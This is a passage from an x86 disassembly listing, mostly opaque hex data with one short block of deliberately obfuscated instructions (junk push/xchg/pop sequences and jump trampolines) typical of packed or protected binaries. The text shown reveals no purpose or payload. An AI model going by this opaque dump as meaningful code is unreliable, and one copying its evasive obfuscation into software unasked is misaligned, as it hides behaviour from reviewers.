6E42h, 29FD8589h dd 60BE060Bh, 0E900001Bh, 0Eh, 7DD5FB3Ah, 0C24E6695h, 638954E5h dd 3A8B6FA7h, 1F658D89h, 0EF81060Bh, 3093848Dh, 33298503h dd 0C781060Bh, 0D7D68A8h, 81DBB70Fh, 52D9E8EFh, 0CF7B807h dd 3A892A86h, 83C1B70Fh, 858B02EAh, 60B2241h, 0B70F4A4Ah dd 1EE83D8h, 12850Fh, 5BB0000h, 0E91B8A95h, 22h, 8FBC7BF9h dd 346C0959h, 0F498D89h, 9FE9060Bh, 38FFFFFFh, 9EB62253h dd 7F6E99D3h, 0CEC791h, 8D8D3CC0h, 61170BEh, 4D8D89FCh dd 1060B17h, 0B32A9BDh, 1985C706h, 4C060B01h, 0F000060h dd 85C7C6BFh, 60B1009h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5CC35040h dd 0BD31DC8Dh, 60B0149h, 891DD280h, 0B183D9Dh, 8DB5FF06h dd 0E9060B1Fh, 0Bh, 0F926AF6Fh, 0E7F8ABE0h, 0FFF8DDF3h dd 0B0AC595h, 79B50B06h, 6A060B16h, 0DD95FF00h, 8B060B32h dd 6B3AEBC0h, 51439FBCh, 48EBB9FAh, 0C4674AE3h, 0A9105757h dd 74315BBh, 19BCCD4Dh, 0AD99E0D7h, 0E27565C4h, 157FD26Eh dd 0A7CFDBDFh, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 0D1C242FBh dd 14E835h, 7D580000h, 2055173Ah, 0D120993Dh, 0B6C9390Bh dd 4B4A6FEBh, 0DE9F441h, 3B000000h, 2D533925h, 8045DCB4h dd 82C1BE20h, 0A9BD8958h, 81060B0Fh, 5ACDC0h, 25BD8B00h dd 68060B0Ch, 1683h, 68B0Fh, 95890000h, 60B0AEDh, 62C9805Bh dd 895E30FFh, 0B31C19Dh, 0F4F68106h, 8B40FC78h, 0B08C9BDh dd 0DBF68106h, 0B0F354Eh, 0B0E398Dh, 82C68106h, 0B9380668h dd 69A828F5h, 0C2803089h, 4E88340h, 12850F4Bh, 0BA000000h dd 7C94B5CBh, 32E9h, 1492D200h, 29AB0F55h, 13E823h, 87E10000h dd 82E93EB9h, 65E7FABFh, 508EBFB6h, 0ABF06A01h, 59D78B68h dd 0FFFF93E9h, 64287BFFh, 6EA445C8h, 0E86F3C9Ch, 6, 89EB885Bh dd 0BE6670C8h, 895A2CBDh, 0B05CDB5h, 0EBC28106h, 0BB000074h dd 2A91A4C9h, 7843C381h, 9509D56Eh, 60B2981h, 0BF0F3A8Bh dd 7DC781CAh, 91853FFh, 0B1EC195h, 83F78106h, 8B580213h dd 0B0CE58Dh, 47F78106h, 0E90511A5h, 10h, 5404610Fh, 0C5A8404Eh dd 93E45FB6h, 0C7096247h, 10E957h, 9B690000h, 3707419h dd 7FF4951Bh, 0F141CC7h, 28F9470h, 8B01EA83h, 0B27D185h dd 4A4A4A06h, 0B6DBD09h, 0EB83060Bh, 15850F01h, 9000000h dd 0B10618Dh, 21E906h, 4FFF0000h, 0BCF0854Dh, 0FEB9C752h dd 90C08166h, 0FF76E939h, 0E56CFFFFh, 0C5D0695Eh, 647F5B2Eh dd 82A4E8C1h, 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh dd 908635A1h, 4813D925h, 99053025h, 148D11B4h, 81023F25h dd 7863025h, 49908198h, 0A5893023h, 9086305Eh, 60C3B5E3h dd 0CCC8362Eh, 12863021h, 0A1C4E765h, 0A0C2BB75h, 0CB86BB21h dd 79821461h, 0B11785DAh, 0CD0B362Eh, 22884D3Dh, 0E20DE0DAh dd 21C3B5E3h, 0ECC8362Eh, 0D585B61Ah, 20A234A4h, 6F970F74h dd 43908190h, 3C03BD23h, 0ED803E58h, 0B07EBBF5h, 84863035h dd 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch, 0DB79C0A0h dd 128BD9DAh, 940B3025h, 828D7DF2h, 4286359Dh, 0AC65CF25h dd 81F4BB98h, 190BBD23h, 9C802156h, 94B61537h, 8247FF0Eh dd 889A075h, 0DC781469h, 4F378DA6h, 2E86362Eh, 908635A1h dd 4813D925h, 99053025h, 5E983B4h, 22B9A4F3h, 0E8000000h dd 0Eh, 436BF0AAh, 61FCDCBDh, 0F4D6047Bh, 9501E026h, 60B06B5h dd 96BB665Ah, 1CC281F6h, 66000067h, 688E88BFh, 19A9h, 33C19D8Bh dd 235E060Bh, 0B2E918Dh, 29028B06h, 0B1581B5h, 0AC08106h dd 8B6C64A9h, 8CE881DAh, 815E2A9Bh, 956CD8EBh, 0A2C0812Dh dd 524026FFh, 3820Fh, 8B660000h, 2895BFAh, 2904EA83h, 0B04298Dh dd 1EE8306h, 0FFBF850Fh, 9589FFFFh, 60B1F79h, 74FD8D8Dh dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E98FCCC3h, 79867521h, 0CE9h, 5E2BE400h dd 18F86697h, 0C3338215h, 0ABE0807Ah, 174D8D89h, 0C7FC060Bh dd 0B011985h, 628C06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 19E5F9E5h, 8589B34Eh dd 60B0DB5h, 68F0Fh, 0B58B0000h, 60B2A8Dh, 100985C7h, 60Bh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0EF5841C3h, 205FD20Eh, 0F19D8927h, 0FF060B30h dd 0B1A49B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0C595FF71h, 6A060B0Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0F5D9C356h, 1935B58Bh, 6A060Bh, 32DD95FFh, 0C08B060Bh dd 820B0DEBh, 24469F99h, 7A730406h, 0EB0A2184h, 0A41F3F04h dd 813E92Ch, 0B2C40000h, 58AF589Bh, 0E1D8A69h, 0BFC72033h dd 6EB25380h, 2E358C57h, 698AB5CFh, 995A67BCh, 362D186Ch dd 62F1CCD9h, 0AFDB5399h, 20C58568h, 1EBDEB51h, 6BFE5EDh dd 1BEB05E3h, 0C3943A6Ah, 0B6AD98EDh, 5D8F94E8h, 3FD122D3h dd 0D4F334D9h, 39D7CB14h, 9F1774ADh, 0DF1C9BDh, 0F379445Ch dd 6B9CD61h, 0EF0E3A61h, 3AE82FD4h, 0CB655952h, 973F9C28h dd 0B9FF0DEBh, 1C68FC6Eh, 933A616Eh, 7B8C81AFh, 613FA4Eh dd 9F9947CBh, 349CE90Eh, 63F0D4E5h, 36647891h, 4457462Ch dd 570B65AEh, 3A1E2EDFh, 718B7256h, 6886FA4Eh, 4891h, 8B9A0B00h dd 58F6CABEh, 0FBDADEE2h, 6352A617h, 0E6E7219Fh, 1FC4FB01h dd 400D4CFDh, 276532h, 0DE830000h, 0DF17FBDAh, 0C3941DAEh dd 552B9082h, 78CA6754h, 28A5FF29h, 5486B9C3h, 9C605FA9h dd 2ED58EB8h, 17h, 0FBDADEB6h, 1DADDF17h, 9484C394h, 5231E69h dd 0A7FD22A3h, 0BDBD5B98h, 860A4750h, 8418A442h, 582C196Ah dd 48DA0064h, 8F734E5Dh, 87BEC24Bh, 0A531DF33h, 0BD9EFC80h dd 916F26C5h, 7BE85655h, 600097F3h, 0CE22183Ah, 64B766EAh dd 12618E55h, 49534B3Fh, 59842832h, 2E446B34h, 0BFF560D4h dd 9418AA2Eh, 307D1AF0h, 940BD877h, 1003F1D1h, 0E83B123Ch dd 96E502D1h, 65E9E82Eh, 0E979CD21h, 307D538Dh, 0CB30BDF7h dd 0C10E14B8h, 7D53D9ADh, 7054AE30h, 6F31C71Ch, 0DB9F710Eh dd 0F8D5DE65h, 0CD4CB406h, 3740050Ch, 3A25h, 0E6FC300h dd 29BD9F71h, 0C3941D5Dh, 0BD76E8D2h, 4D1EBD47h, 0D8C95FA6h dd 0C1FEE18h, 50BD5B3Dh, 4E82764Bh, 0DD0208A0h, 1D1FF98Dh dd 8E9D6C06h, 5D8BCFB3h, 35C8E7h, 0BD500000h, 889C4450h dd 91F5C9BDh, 7F3FE92Dh, 0DAE9DA1Eh, 55DA57F3h, 28D7F1A8h dd 4DA10952h, 5D29BDEBh, 7EC3941Dh, 50BDA204h, 13DD0B4Ah dd 0FED3DEF5h, 0BD857B18h, 1DCFBB33h, 434EC394h, 0C049B10Eh dd 0DE3286BBh, 68C8DD30h, 5663B41Ch, 0F9918E72h, 9ABAB389h dd 277CCD21h, 7E52B61Ah, 0BECA62ECh, 31C394AAh, 3B2B1FC9h dd 0C3902AF9h, 71F507E5h, 3C682815h, 0C8B78E94h, 535254F2h dd 5337BFC9h, 0D43C6828h, 0AB1F227Bh, 7B8A7357h, 6886FA4Eh dd 0BEA590E5h, 87BAC332h, 579CE469h, 6828ABDFh, 0E2C63C3Ch dd 6A55AF1Eh, 0EFFE38E6h, 516CB865h, 0EF6EA9EDh, 5E8BC5D3h dd 0CBD13CEAh, 7CAD6FF4h, 55323DC0h, 37h, 0F8D5DEB3h, 384CE072h dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F2B63h, 432A9EE4h dd 0C78EC35h, 833A60F3h, 6F75BBFh, 0C17CC0FDh, 5848C2C3h dd 495A4342h, 0BD11E77Ch, 0B2831A1Eh, 3F8F5E35h, 948275D9h dd 0DF5785F9h, 0C3948DABh, 2528C63Ch, 1911E5D0h, 0FA72F883h dd 0BD9FA6FBh, 2FD50E74h, 9F710E6Fh, 0D5DE65DBh, 38B406F8h dd 618FBACDh, 50CCDFBh, 8D323740h, 90277D95h, 0B841EFB4h dd 50h, 870E6F44h, 941D1B6Fh, 0B296ECC3h, 511EBDDCh, 0CCFB0D6Ah dd 0CBFB0478h, 7641571Ch, 0F27AF412h, 0C394F496h dd 0BD4F2119h, 790DA133h, 0CEC3941Dh, 0BACE66F4h, 0DC3941Dh dd 0DE251B35h, 7B18FED3h, 37C885h, 0B7240000h, 6C1D5197h dd 0D74DFB38h, 0EB710E6Fh, 53C89174h, 0B6CA3228h, 0E3C73B8Fh dd 29BDDF45h, 0C3941D5Dh, 0BDA2047Eh, 0FED3DE47h, 0BB33BD18h dd 0C3941DCFh, 0E4CC7A40h, 0F8D5DE22h, 0C2D7C614h, 4F8D59F7h dd 77C3909Dh, 3E4BB03Dh, 0ED37D003h, 31DC6ED2h, 2C60D4EBh dd 15F10B02h, 58CC58BBh, 3C6FC82Ch, 93A05FA3h, 0E408D2E6h dd 3C6F03E0h, 4B3F1367h, 0F51AABEDh, 5B7A4BAFh, 0C4FEB54Ah dd 688173E0h, 41323C1Fh, 1Eh, 0F8D5DEAFh, 5B768372h, 3745A5ADh dd 0F7B63E2Ch, 78BD9F05h, 5C56BE02h, 625FA851h, 0D5DE03F1h dd 99C614F8h, 4D9ADB12h, 1AA24C89h, 0FB73F982h, 0BD9FF0DEh dd 11B9FEAFh, 62D6CA09h, 9620CA2Eh, 61B06A1Eh, 6B85FD3Ah dd 0E6F0888h, 40A495E4h, 0C233BDEEh, 0DC3084B1h, 941D7014h dd 35EFB7C3h, 0C3CA94F5h, 1074F874h, 97C39422h, 0A9A14FA3h dd 6DD5DED7h, 57C92D18h, 33BD4CB4h, 941DCFBBh, 0CC7A40C3h dd 4004AB52h, 3D8637h, 0BD6E0000h, 0DA744550h, 0E139BBC2h dd 362A6ED2h, 5D29BD50h, 0D2C3941Dh, 33BD76E8h, 4A9AB7C2h dd 0C3941D3Eh, 0CD9F49B1h, 4750BD37h, 0D7BB869Fh, 9C719FF3h dd 7BDABC8Dh, 2AC885h, 0BD500000h, 0DE084150h, 0BAA0BFDEh dd 1DC08428h, 7347C394h, 0F84C798Ah, 0BDF46A84h, 941D5D29h dd 0A2047EC3h, 0D3DE47BDh, 857B18FEh, 14F8D5DEh, 909D1EDCh dd 7A455FC3h, 0E6D12796h, 20ADE712h, 0B89CA3FBh, 0C9535248h dd 4CFAC7DCh, 5A99B4C1h, 0D3F691CEh, 10AD9CCEh, 0E04CF770h dd 0FD2B0F9Dh, 0A83C0710h, 3C6F9ADCh, 0E10B6F53h, 3AD4E534h dd 0BDC6D6D6h, 9C9E07AFh, 5DEF4264h, 6F1B3DFEh, 8B5B7C2Ch dd 3A64CFFFh, 0B8879F70h, 0B89CF0D4h, 0E6F5DBBh, 65DB9F71h dd 6F8D5DEh, 0CCD4CB4h, 25374005h, 2Eh, 710E6FC3h, 5D29BD9Fh dd 0D2C3941Dh, 33BD76E8h, 1D790DA1h, 0F4CEC394h, 0D3DEE45Ah dd 5D21186Bh, 4B8A9079h, 857BF157h, 27C8h, 0E6F5000h, 1EBD9F71h dd 6F79A463h, 0E89C1089h, 7FC394DAh, 6709271Bh, 94DABBCFh dd 8C62A0C3h, 0D3DE47BDh, 857B18FEh, 1B6DD5DEh, 9564582Ch dd 8CC0B483h, 405342A8h, 0FB6BDF09h, 0C3909D39h, 1998C725h dd 9F5283D6h, 0A8257FA9h, 0D81B3643h, 1BEFDA2Fh, 78E27903h dd 64EDD9F4h, 8654AE42h, 0A394F074h, 0B21B3A64h, 0ADE1556Ch dd 3CC49F49h, 9F710E6Fh, 50BD65DBh, 0D5840841h, 0CD01F5C0h dd 0C5CE3FE9h, 4CB41688h, 40050CCDh, 392537h, 46B70000h dd 72E8063Bh, 9F710E6Fh, 1D5D29BDh, 0E8D2C394h, 0BD47BD76h dd 860A4750h, 91A8FB42h, 0CE3FE92Dh, 0D37A55C3h, 46D13Ah dd 857B4A2Ch, 40C8h, 0AFF92400h, 6F807690h, 0BD9F710Eh dd 0EB2C233h, 0C403409h, 1276FE28h, 39C3941Dh, 59D53B4Ch dd 0E0BE5B65h, 0BC6DD135h, 0DD7A5E6Bh, 0B2A755F5h, 0BEDC166h dd 0D3DE47BDh, 79816CFEh, 7BB6AC5Ah, 0F8D5DE85h, 477A8372h dd 99719FF3h, 6653A253h, 0C90BE92h, 0F701EB70h, 0C639F665h dd 3E6DB77Bh, 94E25236h, 1CEDD5C3h, 75493D08h, 95E0BDBh dd 0ABEFBD9Eh, 0C9D13C48h, 24C2068Ah, 94EA0498h, 0C5B7D35Bh dd 0C2383A61h, 0C2261AEEh, 12E59418h, 704A4471h, 0FDC8DD8Ch dd 417C8966h, 0D9A075FDh, 509269C4h, 0A9EE56A5h, 88EC2094h dd 0A049445Eh, 4BF07A57h, 527DB95h, 39BA5476h, 3A8EBBCCh dd 80744B53h, 9FDC0D9h, 0CEDFABC3h, 6A500ABBh, 0D6BA95E3h dd 5529A4FEh, 34DDE8A8h, 0E00DD6E3h, 45B0BA97h, 66EA0433h dd 3A1h, 9C84CB00h, 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh dd 6A2268CFh, 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx push ebp mov ebp, 611751Ah mov edx, ebp pop ebp mov edi, edx pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push ebx mov ebx, 8 add ebx, esi mov [ebx], edi mov ebx, [esp] add esp, 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dd 7B8CF9FAh, 7C89B841h, 0C5030611h, 8403E0FFh, 2745381Dh dd 658D0EF5h, 6BAB5F23h, 0EDB76BAFh, 0FE848E6h, 0CB000000h dd 0E9CCEE76h, 30509B0h, 0AB4FCDDEh, 0CE8195E9h, 494A8690h dd 0C281665Bh, 0C381ADDFh, 72B8h, 0B8F0Fh, 850F0000h, 5 dd 11F4D4BAh, 6865h, 0DE810000h, 6B43318Bh, 0F08B6658h dd 66030C8Bh, 81B3A9BAh, 299883E9h, 8B66530Eh, 0F1815FF2h dd 5EE014F6h, 0AE9h, 8ACDDB00h, 0D11621D8h, 81374D21h dd 4F3F64F1h, 48F5123h, 19890F03h, 0E8000000h, 0Fh, 7D295D95h dd 0EBD95F81h, 4BF17428h, 667CB106h, 5E4FB1BAh, 0E883FB8Bh dd 0CF88104h, 0FFFFF8Eh, 1285h, 8CCBBE00h, 1CE95AF3h, 0E5000000h dd 2C74959Bh, 0F668B89h, 85E9F7B7h, 86FFFFFFh, 696636ABh dd 36C9B988h, 8D5DE1A4h, 117ECC8Dh, 0FE906h, 0CB420000h dd 0EF90E48Eh, 53CF4716h, 0CCBAAAEBh, 0C840F95h, 0F000000h dd 689h, 0A58D8900h, 89060B2Ah, 0B174D8Dh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 85C723C0h, 60B0119h, 72E0h, 33A4DF81h, 7E90A7Eh, 0FB000000h dd 0EDDF979Dh, 85C7CE52h, 60B1009h, 0 dd 2356F381h, 0B5FF582Eh, 60B0DA5h, 1309BD8Bh, 95FF060Bh dd 60B0AC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 45C35747h, 0D01355B0h, 0FF006AFCh, 0B32DD95h, 0EBC08B06h dd 42AA632Ah, 289700DBh, 3453160h, 0A20F569Eh, 0F1193EE9h dd 691D8476h, 8F4953D5h, 650AB18Ch, 4ED9587Bh, 0C91D2473h dd 0E80DCCB2h, 0Fh, 7313BE62h, 0D74A33DBh, 0F1A9965Bh dd 5301E266h, 0BE9h, 0DE677400h, 0EFF48589h, 0F0D3472Ah dd 0C081585Fh, 7333h, 0BAFA8B66h, 1C98h, 89088BF5h, 0B2DE5B5h dd 0C4E98106h, 8920452Eh, 0B17E19Dh, 0FBC18106h, 817E98FEh dd 2B5C88E3h, 0FC18106h, 2B03FD45h, 0B29FD9Dh, 0E8088906h dd 0Fh, 0C8D35F3Bh, 0CF1CD0EAh, 1397E1DEh, 0FC6CF91Ah dd 8BE8815Eh, 0E970C853h, 14h, 1D438B54h, 0B3AA3A1Eh, 0BED8E139h dd 925C1DC9h, 7B541F0Eh, 5387C081h, 858970C8h, 60B14EDh dd 0F01EA83h, 1385h, 3D8D8900h, 0E9060B19h, 23h, 0FFA06581h dd 3A2D71E0h, 2D19D33h, 6AE9060Bh, 0B2FFFFFFh, 3BA195F6h dd 6DFECFBCh, 0B116C14Ah, 8DA84EECh, 1180838Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 7E9467Fh, 0E2000000h, 0D194B4E5h, 8D89C397h, 60B174Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h dd 3430E078h, 0C1B589A6h, 0C7060B33h, 0B011985h, 73B006h dd 0C7E58A00h, 0B100985h, 6, 8D896000h, 60B2815h, 8558D8Bh dd 0FF61060Bh, 0B0DA5B5h, 0AE806h, 0DE570000h, 0E001A639h dd 8180EC63h, 51CE8166h, 95FF5A4Fh, 60B0AC5h, 4880BB66h dd 95FF006Ah, 60B32DDh, 2AEBC08Bh, 0DBCC130h, 0B3C3BA8Bh dd 0C94AE5E0h, 741C27A1h, 0B679795h, 0D8994507h, 0D9E24EC6h dd 91E0A90h, 755AE68Bh, 13E63261h, 8D8D963Bh, 611818Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 5FC35040h dd 0ACCA082Dh, 66F31D56h, 2CAEE281h, 174D8D89h, 6A060Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8B66ABC3h, 1985C7F1h, 94060B01h, 6A00006Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0A3B0C351h, 958955D5h, 60B2A99h, 2E09B529h, 85C7060Bh dd 60B1009h, 0 dd 0E9D8B70Fh, 5, 8EF69DE8h, 0C9B5FF29h, 6A060B19h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0EC4EC357h, 0BC0D1FBDh, 0C5E5BBD9h, 95FF4499h, 60B0AC5h dd 95FF006Ah, 60B32DDh, 6DEBC08Bh, 0FA5E8479h, 0F531F0B0h dd 8C8866E7h, 0E36B5058h, 94E03C7Fh, 954653Dh, 0EB2BFF11h dd 44FBEB02h, 156C18E9h, 315B180Eh, 0F4A49B4Eh, 29F058ACh dd 6CC3CD0Ah, 5E437616h, 23BF017Fh, 0B63E7CA4h, 0DD733DC2h dd 8F73E778h, 8A3B2716h, 0F63C3566h, 0D487162Fh, 0FBCB253Dh dd 0F2AE7D64h, 0FC50B333h, 8D709E15h, 0D089628h, 3F2AF7FFh dd 6E8C4h, 0DB780000h, 0F0FBF786h, 5BD6BF0Fh, 81F0B70Fh dd 65F6C3h, 2B8DB200h, 0EE8166C0h, 34FF87FAh, 0A18D0918h dd 5F060B1Ah, 0EF81CB8Bh, 399AB766h, 1B318D8Bh, 0C781060Bh dd 299A309Bh, 0C781D38Bh, 452361Ch, 178C0Fh, 12E90000h dd 65000000h, 22BCE094h, 0BD3324F9h, 9B85E6CCh, 92A6B875h dd 33C8980h, 6609EA80h, 0E883CB8Bh, 3820F04h, 0F000000h dd 0F881C9BFh, 0FFFF9A8Ch, 0FF9C850Fh, 8D29FFFFh, 60B29D9h dd 837E8D8Dh, 6A0611h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 299189C3h, 9E90CDD9h, 8D89ECC5h dd 60B174Dh, 1BB9B589h, 85C7060Bh, 60B0119h, 74E8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F0C35646h, 90E3458h dd 8B788B1Bh, 0B2201BDh, 985C706h, 60B10h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 892AC351h, 0B0C81B5h, 0A9B5FF06h, 6A060B1Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 724EC357h, 41BD29E4h, 0E9060B09h, 5, 0DA75EDE8h, 0C595FF11h dd 6A060B0Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0CBB7C351h, 6AFA8B66h, 0DD95FF00h dd 8B060B32h, 0B44FEBC0h, 0CDDF3750h, 73029C6h, 0B5D03910h dd 0AB969D48h, 0CFCC3466h, 0E2BC208Eh, 9ACB3AFh, 12E86F39h dd 503ADC53h, 21215D1Dh, 0B806503Dh, 0D23AF621h, 0D666ADD3h dd 2B81D1F6h, 17432545h, 0A585F0A4h, 4B028BB5h, 7EED53F9h dd 4670712Dh, 85C6E1E7h, 60B2845h, 30DF6856h, 0B5FFA9C5h dd 60B1355h, 7D18858Dh, 0D0FF060Eh, 5458D8Dh, 6A51060Bh dd 0D9B5FF40h, 0FF060B03h, 0B1B95B5h, 0FFD0FF06h, 0B03D9B5h dd 95B5FF06h, 0E8060B1Bh, 13h, 77920742h, 0D852DF16h, 74119C59h dd 0DE5775C8h, 5801A639h, 4E88358h, 2242CC1h, 22424C1h dd 0F7240403h, 0FF2B241Ch, 5B0734FFh, 0CEC381h, 0F3815AF9h dd 79DE43A0h, 170EEB81h, 1C89474Fh, 1EF8338h, 3B4F4F4Fh dd 850F243Ch, 0FFFFFFD8h, 0EB99D8Dh, 38B060Bh, 840FC00Bh dd 7, 5B8B038Bh, 8B188904h, 0ABE9C9h, 8D500000h, 0B11C3F2Eh dd 0ABDA5F72h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h dd 9B144883h, 125EE928h, 22680000h, 0E9061187h, 0FFF9F9FBh dd 11883468h, 0F9F1E906h, 768FFF9h, 0E9061189h, 0FFF9F9E7h dd 118A3C68h, 0F9DDE906h, 0B668FFF9h, 0E906118Ah, 0FFF9F9D3h dd 118B6768h, 0F9C9E906h, 1768FFF9h, 0E906118Ch, 0FFF9F9BFh dd 118C9768h, 0F9B5E906h, 4168FFF9h, 0E906118Dh, 0FFF9F9ABh dd 118EED68h, 0F9A1E906h, 9D68FFF9h, 0E906118Fh, 0FFF9F997h dd 1190E968h, 0F98DE906h, 2268FFF9h, 0E9061192h, 0FFF9F983h dd 11943168h, 0F979E906h, 4468FFF9h, 0E9061195h, 0FFF9F96Fh dd 2E350C16h, 589BB6C1h, 0F66D5CAFh, 21320119h, 5281BCC4h dd 1B61FCE3h, 0C9CE3F24h, 76BE6FF4h, 1E6B845Fh, 21CB3023h dd 8598F98Dh, 19FF4EC5h, 14F8D5DEh, 0ABF050A5h, 0F5A1B296h dd 264E9CA7h, 0BD9F195Bh, 0EAD4DECh, 7690F71Fh, 0C7DDC812h dd 8EFA72F8h, 13A6089h, 2B3B0F39h, 3A60895Bh, 119B2A8Eh dd 8AA495E4h, 34A17990h, 20502Ch, 6FBC0000h, 40E4760Dh dd 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0DA2EBFE5h, 2C35C733h dd 11B1Eh, 50BDE600h, 0D4850944h, 0C90DF1CCh, 0C1D23BD5h dd 50D466F4h, 0C3941D34h, 0E15560B5h, 3EE8D2ADh, 839500CAh dd 69B39AB4h, 0EE3BE256h, 0EDDB3D46h, 108DBF4Bh, 3014F8DCh dd 5DC6822Ah, 7149C394h, 0D5DECF1Dh, 3529146Dh, 6FE30D41h dd 9B5875BEh, 0BC8D9C09h, 5BBBC292h, 0E259C394h, 0C62EBF6Eh dd 4E5425F6h, 2374D977h, 0D720CD16h, 13EC980Ch, 1E6DC394h dd 9C7B5F23h, 6CFE42A6h, 0F65A7981h, 54287492h, 8C891DCFh dd 0A1BD9F0Dh, 1B62C182h, 0B6AA2F63h, 90ABF1ADh, 76B8224Ah dd 0CF33446Dh, 932C931Dh, 0AC0621A4h, 1E62EB05h, 7AAB3527h dd 0B2D61E2Bh, 3530739Ch, 0A74023CDh, 0CBE5625Dh, 8C6B1Ch dd 0FB94D02h, 0AAFC0000h, 50A74093h, 615F261h, 0A7FF28CBh dd 56AA5B98h, 264DF46Fh, 5182BDC7h, 81526FB4h, 3E251064h dd 6A89C4D1h, 0A7234BA1h, 28C5859Ah, 1EBDE359h, 3232739Ah dd 4EBF6967h, 7AE10B4Ah, 1370F064h, 5DCFA972h, 9DDD1926h dd 9471F21Ch, 57ADB683h, 0CFBB33BDh, 40C3941Dh, 5BDD81A1h dd 0D236E6BFh, 9A146834h, 905ABE8Bh, 9F4FBD1Ch, 7993B2BDh dd 17783B2Fh, 3F379BFFh, 3A61134Fh, 0D427D69Ah, 372B2A70h dd 0FA0E9F19h, 2C35FF53h, 0B87Eh, 50BD8600h, 70DD0B4Ah dd 0F7A62A27h, 5D4892ADh, 78D07E45h, 941BA1E8h, 0CA0710C3h dd 266E9F29h, 0E13155D9h, 4CB63C6Bh, 0ED35E468h, 0CA2E62D6h dd 0E9E4311Ch, 0DE26D765h, 113F13E7h, 8654EF8Dh, 60FF6B6Eh dd 74E6DC42h, 0A4427189h, 883741C3h, 0D4DDF4F7h, 0B7D3132Fh dd 383A60CBh, 49824C2h, 79ED7Fh, 9D446D5Bh, 0F1D5E830h dd 5F66BA6Bh, 2E116B84h, 6B779921h, 7F84A8Ch, 0EA7h, 0B2A198EAh dd 0EC774255h, 1AD9F003h, 0B5AE95EDh, 0E67D4058h, 0AFF5085Fh dd 5DA24390h, 212F360h, 0AAFF28CBh, 0B5B7449Fh, 85955531h dd 0F56BDAC5h, 78FBDADEh, 944F7A8Fh, 0BB33BD6Ch, 0C3941DCFh dd 7CF07A40h, 0C3941D08h, 808DBB9Fh, 65905A77h, 73573B16h dd 7B8C7DD5h, 2978954Eh, 0A8FDAC10h, 0DBCA469Dh, 6550FEC1h dd 2989134Dh, 536AB322h, 9446BA3Eh, 9FC23510h, 52A657BDh dd 0A746C563h, 4C74DFDh, 187F53C3h, 0EB8CBFCEh, 56ED8F34h dd 3D001984h, 83DFAE49h, 3FF3C0D5h, 2B432DDBh, 0BFF5C16Eh dd 1717FBDFh, 0F86CFE85h, 41F9DC90h, 0B7C12B6Fh, 0C58C4B3Fh dd 2973DC35h, 5A143216h, 0F0635EABh, 38370217h, 8A010DB4h dd 0D4987FCBh, 0D900000Dh, 806DF6CDh, 6E9F4475h, 0D8352E23h dd 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh, 183741AEh dd 0ECD92ADBh, 0CE668A77h, 0C58594BAh, 0DEC6BE0Dh, 0CD72F8D5h dd 0CB4EF63Eh, 40C3A3Bh dd 598398E4h, 9F3390D5h, 76EDD5BDh, 80C468FAh, 73A6102h dd 0F3891533h, 0B138268h, 0DC501A34h, 446A04C9h, 9050241Eh dd 307E00F0h, 9A6E7F25h, 262B0E73h, 6F5Eh, 0D6FA600h, 7477E476h dd 0F59115E6h, 7AC3947Fh, 495AF700h, 73FD6F99h, 0DC4CE8CCh 